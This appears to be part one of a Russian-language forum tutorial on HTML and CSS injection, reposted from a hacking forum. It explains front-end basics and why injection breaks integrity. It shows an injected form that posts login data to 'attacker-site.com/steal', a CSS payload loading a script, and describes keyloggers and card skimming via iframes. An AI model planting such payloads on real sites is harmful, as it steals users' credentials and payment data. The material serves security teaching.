XSS во всей её красе [ Часть 1 ] [ HTML / CSS Injection]

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

XSS[is]n't JavaScript​

Как вы, возможно, заметили, я никогда не писал о XSS, потому что есть много вещей, которые нужно осветить, и мне пришлось подождать некоторое время, чтобы поделиться некоторой информацией на этом форуме, чтобы я мог сослаться на нее позже. Я постараюсь объяснить все от А до Я, гарантируя, что это не будет просто еще одна статья, объясняющая "alert(1)".

Что такое XSS?​

XSS, или межсайтовый скриптинг, - это уязвимость в системе безопасности, которая возникает, когда злоумышленник внедряет вредоносные скрипты на веб-страницы, просматриваемые другими пользователями. Эти скрипты выполняются в контексте браузера пользователя. Прежде чем углубиться в XSS, давайте начнем с более простых уязвимостей.

Что такое Front-End?​

Front-end - это часть веб-приложения, с которой пользователи взаимодействуют напрямую. Он состоит из трех ключевых компонентов:
HTML (язык гипертекстовой разметки): Фундаментальный язык разметки, используемый для структурирования контента в сайтах.
CSS (каскадные таблицы стилей): Используется для стилизации и форматирования HTML-элементов.
JavaScript: Язык программирования, обеспечивающий динамическое интерактивное поведение на стороне клиента.

Я объясняю эти простые концепции, потому что уязвимости на самом деле лежат между ними. Давайте возьмем этот код для примера:
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    body {
      font-family: 'Arial', sans-serif;
      background-color: #f0f0f0;
      text-align: center;
      margin: 20px;
    }

    h2 {
      color: #333;
    }

    p {
      color: #666;
    }

    button {
      background-color: #4caf50;
      color: white;
      border: none;
      padding: 10px 20px;
      text-align: center;
      text-decoration: none;
      display: inline-block;
      font-size: 16px;
      margin: 4px 2px;
      cursor: pointer;
      border-radius: 5px;
    }

    img {
      width: 100px;
      border-radius: 5px;
      margin-top: 10px;
    }
  </style>
</head>
<body>

<h2>Что может сделать JavaScript?</h2>

<p>JavaScript может изменять значения атрибутов HTML.</p>

<p>В этом случае JavaScript изменяет значение атрибута src (source) изображения.</p>

<button onclick="document.getElementById('myImage').src='pic_bulbon.gif'">Включить свет</button>

<img id="myImage" src="pic_bulboff.gif" alt="Лампочка выключена">

<button onclick="document.getElementById('myImage').src='pic_bulboff.gif'">Выключить свет</button>

</body>
</html>
Скопируйте и вставьте приведенный выше код сюда - https://www.w3schools.com/js/tryit.asp?filename=tryjs_lightbulb. Нажимайте на кнопки и смотрите, как лампочка включается и выключается.
1701441350808.png


Изображение [1]
HTML просто описывает, как выглядела бы страница без какого-либо дизайна и действий на ней.
<!DOCTYPE html> - определяет тип документа и используемую версию HTML. Это должна быть первая строка в HTML-документе.
<html> - Этот тег охватывает весь HTML-документ и обозначает начало и конец HTML-содержимого.
<head> - Этот раздел содержит метаинформацию о HTML-документе, такую как заголовок, ссылки на таблицы стилей и другие метаданные. Он не отображается непосредственно на самой веб-странице, но объясняет, как интерпретировать (отображать) содержимое HTML-документа.
<body> - содержит основное содержимое HTML-документа, включая текст, изображения, ссылки и другие элементы.

Для оформления HTML-элементов используется CSS. Стиль в этом примере применяется внутри тегов <style> в заголовке. Он устанавливает шрифт, цвет фона и т.д.

JavaScript используется для добавления интерактивности в HTML-документ.Обычно он находится внутри тега <script>, но в нашем случае он находится внутри атрибута "onclick", что означает, что при нажатии пользователем на что-либо будет выполнено какое-либо действие (on - click). Присутствуют две кнопки: "Включить свет" и "Выключить свет". Когда нажимается кнопка "Включить свет", она запускает JavaScript для изменения атрибута src изображения с идентификатором myImage на 'on.gif', включая свет.
Аналогично, при нажатии кнопки "Выключить свет" атрибут src изменяется обратно на 'off.gif', выключая свет. Итак, у нас есть 2 фотографии, на одной из них включен свет, на другой он выключен, и когда мы нажимаем на кнопки, изображение просто меняется.

Что такое HTML-инъекция?​

HTML-инъекция - это уязвимость, которая возникает, когда злоумышленник может внедрить HTML-код на веб-страницу. В отличие от межсайтового скриптинга (XSS), HTML-инъекция не предполагает выполнения скриптов из внешнего источника. Вместо этого он фокусируется на внедрении HTML-разметки непосредственно на веб-страницу.

Почему это опасно? Является ли что-либо уязвимостью или нет, можно понять, основываясь на триаде CIA. Триада CIA расшифровывается как:

Confidentiality - Конфиденциальность относится к защите конфиденциальной информации от несанкционированного доступа или разглашения. Это гарантирует, что только авторизованные могут получить доступ к определенным данным или ресурсам.
Integrity - Целостность обеспечивает точность информации, предотвращая несанкционированное изменение.
Availability - Доступность гарантирует, что информация и ресурсы доступны и могут использоваться при необходимости.

Когда мы вводим HTML-код, страница теряет свою целостность, что означает, что мы можем изменить содержимое веб-страницы. Если одна из частей триады CIA разрушается, то это уязвимость. В нашем случае этой частью является целостность.

Давайте рассмотрим этот простой веб-сайт. Когда я искал "1234567890", я проверил, где это отражается. Это отражается внутри тега <ul>. Я могу написать другой тег внутри этого тега, не закрывая тег <ul>. Это может быть самый простой <h1>test</h1>. В этом случае целостность веб-сервиса нарушена, поскольку у меня есть возможность внедрять HTML-код. Очевидно, что внедрение HTML (он же XSS) может нанести больший ущерб при его сохранении (если он сохранён на сервере и каждый раз когда пользователь входит в какую то страницу, он её видит). В моем случае уязвимость возникает при выполнении поиска (отправке POST-запроса), и возможность использования (exploitability) зависит от политики безопасности контента (CSP - Content Security Policy).
1.png


Изображение [2]
2.png


Изображение [3]
3.png


Изображение [4]
4.png


Изображение [5]​

Есть классная шпаргалка для внедрения HTML-кода - https://book.hacktricks.xyz/pentesting-web/dangling-markup-html-scriptless-injection - Да, я всегда советую hacktricks, они лучшие в шпаргалках.

Мне всегда было интересно, как можно было бы украсть данные без использования javascript. Вы знаете, что внедрение HTML без выполнения дополнительных скриптов, как правило, ограничено в своей способности напрямую красть данные. У меня в голове есть только 2 идеи по этому поводу.

Подделка форм: Если веб-сайт использует формы для ввода конфиденциальных данных (например, данных кредитной карты), злоумышленник может манипулировать HTML-кодом, чтобы отправить введенные данные на сервер, находящийся под его контролем.

Сбор учетных данных: внедрение HTML-кода может использоваться для изменения существующих ссылок или кнопок на странице, чтобы перенаправлять пользователей на вредоносный сайт, который собирает их учетные данные.

Давайте рассмотрим первый случай более технически, вот код простого веб-сайта:
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login Page</title>
</head>
<body>
    <form action="/login" method="post">
        <label for="username">Username:</label>
        <input type="text" id="username" name="username">
        <br>
        <label for="password">Password:</label>
        <input type="password" id="password" name="password">
        <br>
        <input type="submit" value="Login">
    </form>
</body>
</html>
Если злоумышленник сможет ввести этот код на веб-сайт:
Код: Скопировать в буфер обмена
Код:
<form action="http://attacker-site.com/steal" method="post">
    <!-- Форма выше тута -->
</form>

Тогда данные, отправленные пользователем, будут отправлены злоумышленнику вместо исходного веб-сайта.

Когда дело доходит до сбора учетных данных, мы можем просто добавить какую-нибудь кнопку или любую ссылку с надписью "Наш обновленный веб-сайт", и социальная инженерия сделает свою работу. Почему белые шляпы думают об этом? Чтобы понять возможность использования уязвимости. Чем легче будет / может быть использована уязвимость, тем больше денег мы получим.

Внедрение CSS​

Внедрение CSS - это уязвимость, при которой хакер может вставлять код каскадных таблиц стилей (CSS) на веб-сайте или манипулировать им. Информации о внедрении CSS немного, потому что это не очень распространенное явление и степень его серьезности не так высока. Но мы можем проверить 4 разных случая этого. Я придумал названия:lol:

Внедрение атрибута CSS​

Это включает в себя внедрение CSS непосредственно в атрибут стиля HTML-элемента.
Код: Скопировать в буфер обмена
<div style="color: red; font-size: 18px;">Injected Text</div>

Внедрение CSS-тегов​

CSS может быть встроен в тег <style> в HTML-документе, воздействуя на несколько элементов
Код: Скопировать в буфер обмена
Код:
<head>
    <style>
        body {
            background-color: #eee;
        }

        h1 {
            color: blue;
        }
    </style>
</head>

Внешнее внедрение CSS​

Мы можем загрузить фоновую фотку с внешнего ресурса, который загружает файл javascript.
Код: Скопировать в буфер обмена
Код:
<!-- Ввод от пользователя, не обработанный должным образом / Input from the user, not properly sanitized -->
<input type="text" value="input from user">

<!-- Вредоносная инъекция CSS / Malicious CSS injection -->
<style>
    input[value="input from user"] {
        background-image: url('malicious-script.js');
    }
</style>

Все приведенные выше случаи могут быть полезны в реальной жизни. Внедрение атрибута css может быть полезно, когда вы не можете экранировать тег (выйти из тега или создать новый тег) и вы не можете использовать какие-либо атрибуты, которые запускают функцию javascript, тогда вы будете использовать атрибут style, чтобы попытаться перейти к внедрению css. Внедрение тегов CSS может быть полезно в случае, когда вам разрешено использовать только простые теги, одним из которых является тег <style>. Третий случай хорош только как доказательство концепции, потому что загруженный javascript все равно не будет выполнен.

XSS-[is]​

XSS включает в себя вставку кода JavaScript, обычно называемого "скриптом". Мы рассмотрели внедрение HTML, и важно понимать, что как HTML, так и CSS-инъекции создают проблемы с целостностью. Использование HTML-инъекции может привести к XSS, позволяющему выполнять код JavaScript с помощью атрибутов. Следовательно, выявленная уязвимость выходит за рамки целостности, охватывая вопросы конфиденциальности. Это означает, что хакер может получить информацию, связанную с пользователем, выполнив скрипт на стороне клиента. Теперь, сосредоточив внимание на атрибутах, любой атрибут (почти), начинающийся с "on", будет выполнять код JavaScript, написанный внутри него. Примеры включают onload, onerror, onclick и другие.

Прежде чем углубляться в код JavaScript, полезно ознакомиться с данными, которые клиентская сторона может непреднамеренно предоставить. Полезным веб-сайтом для иллюстрации того, что может быть получено со стороны пользователя, является https://www.deviceinfo.me/. Помимо сбора cookie и аналогичной информации, XSS может предоставлять различные интригующие подробности, такие как данные о операционной системе, браузере, дате и времени, камере, названии видеокарты, процессоре, оперативной памяти, состоянии батареи, возможности сенсорного экрана, нажатии клавиш, положении мыши и всплывающего окна.

Очевидно, что некоторые из этих данных могут показаться бесполезными, но на самом деле эти данные очень помогают, простая информация о дате устройства может привести к утечке фактического местоположения (часового пояса), из которого пользователь посещает веб-сайт. Некоторые браузеры, например Brave, если я не ошибаюсь, разрешают всплывающие окна, злоумышленник может открывать и закрывать всплывающее окно за секунду без уведомления пользователя. Вы все слышали о кейлоггерах (он же keylogger), ну а веб-кейлоггеры создаются с помощью javascript, потому что он может видеть нажатия клавиш и по расположению мыши можно будет предсказать, на какой стороне веб-сайта пользователь что-то пишет.

То, что я написал выше, - это сценарий, в котором, вероятно, хакер не может или не хочет получить доступ к профилю пользователя в системе. Это может быть из-за реализованной системы безопасности или просто потому, что нет страницы входа в систему. Хакеры добавляют iframe для кражи информации о кредитных картах из магазинов, им не нужны cookie для доступа к учетной записи, все, что им нужно, - это информация о кредитной карте.

Вывод​

В этой части мы узнали о внедрении HTML и CSS, а также поняли, как это можно использовать и каковы будут обстоятельства в этом случае. Название "XSS - это не javascript", потому что даже в тех случаях, когда "скрипт" не может быть выполнен, это все равно будет уязвимостью и, вероятно, будет рассматриваться как XSS. Например, NIST опубликовал CVE с "внедрением HTML" - https://nvd.nist.gov/vuln/detail/CVE-2023-40813 - но название CWE - XSS.

Вторая часть будет посвящена XSS, в котором работает javaScript.

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу